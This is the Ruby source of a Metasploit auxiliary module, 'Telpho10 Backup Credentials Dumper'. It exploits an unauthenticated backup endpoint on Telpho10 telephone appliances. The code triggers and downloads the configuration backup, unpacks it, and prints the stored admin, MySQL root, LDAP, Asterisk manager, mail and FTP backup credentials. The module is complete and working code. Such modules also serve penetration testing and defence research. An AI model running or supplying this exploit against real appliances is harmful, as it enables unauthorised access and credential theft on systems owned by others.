## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Telpho10 Backup Credentials Dumper', 'Description' => %q{ This module exploits a vulnerability present in all versions of Telpho10 telephone system appliance. This module generates a configuration backup of Telpho10, downloads the file and dumps the credentials for admin login, phpmyadmin, phpldapadmin, etc. This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39. }, 'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module 'License' => MSF_LICENSE, 'References' => ['URL', 'https://github.com/whoot/TelpOWN'], 'Platform' => 'linux', 'Privileged' => false, 'DisclosureDate' => '2016-09-02' ) ) register_options( [ Opt::RPORT(80) ] ) end # Used for unpacking backup files def untar(tarfile) destination = tarfile.split('.tar').first FileUtils.mkdir_p(destination) File.open(tarfile, 'rb') do |file| Rex::Tar::Reader.new(file) do |tar| tar.each do |entry| dest = File.join(destination, File.basename(entry.full_name)) next unless entry.file? File.open(dest, 'wb') do |f| f.write(entry.read) end File.chmod(entry.header.mode, dest) end end end return destination end # search for credentials in backup file def dump_creds(mysql_file) file = File.new(mysql_file, 'r') while (line = file.gets) if line.include? 'adminusername' config = [line] end end file.close print_status('Login (/telpho/login.php)') print_status('-------------------------') print_good("Username: #{config.first[/adminusername','(.*?)'/, 1]}") print_good("Password: #{config.first[/adminpassword','(.*?)'/, 1]}\n") print_status('MySQL (/phpmyadmin)') print_status('-------------------') print_good('Username: root') print_good("Password: #{config.first[/dbpassword','(.*?)'/, 1]}\n") print_status('LDAP (/phpldapadmin)') print_status('--------------------') print_good('Username: cn=admin,dc=localdomain') print_good("Password: #{config.first[/ldappassword','(.*?)'/, 1]}\n") print_status('Asterisk MI (port 5038)') print_status('-----------------------') print_good("Username: #{config.first[/manageruser','(.*?)'/, 1]}") print_good("Password: #{config.first[/managersecret','(.*?)'/, 1]}\n") print_status('Mail configuration') print_status('------------------') print_good("Mailserver: #{config.first[/ipsmarthost','(.*?)'/, 1]}") print_good("Username: #{config.first[/mailusername','(.*?)'/, 1]}") print_good("Password: #{config.first[/mailpassword','(.*?)'/, 1]}") print_good("Mail from: #{config.first[/mailfrom','(.*?)'/, 1]}\n") print_status('Online Backup') print_status('-------------') print_good("ID: #{config.first[/ftpbackupid','(.*?)'/, 1]}") print_good("Password: #{config.first[/ftpbackuppw','(.*?)'/, 1]}\n") end def run res = send_request_cgi({ 'uri' => '/telpho/system/backup.php', 'method' => 'GET' }) if res && res.code == 200 print_status('Generating backup') sleep(1) else print_error('Could not find vulnerable script. Aborting.') return nil end print_status('Downloading backup') res = send_request_cgi({ 'uri' => '/telpho/temp/telpho10.epb', 'method' => 'GET' }) if res && res.code == 200 if res.body.to_s.bytesize == 0 print_error('0 bytes returned, file does not exist or is empty.') return nil end path = store_loot( 'telpho10.backup', 'application/x-compressed', datastore['RHOST'], res.body, 'backup.tar' ) print_good("File saved in: #{path}") begin extracted = untar(path.to_s) mysql = untar("#{extracted}/mysql.tar") rescue StandardError print_error('Could not unpack files.') return nil end begin print_status("Dumping credentials\n") dump_creds("#{mysql}/mysql.epb") rescue StandardError print_error('Could not find credential file.') return nil end else print_error('Failed to download backup file.') return nil end rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Failed to connect") return nil end end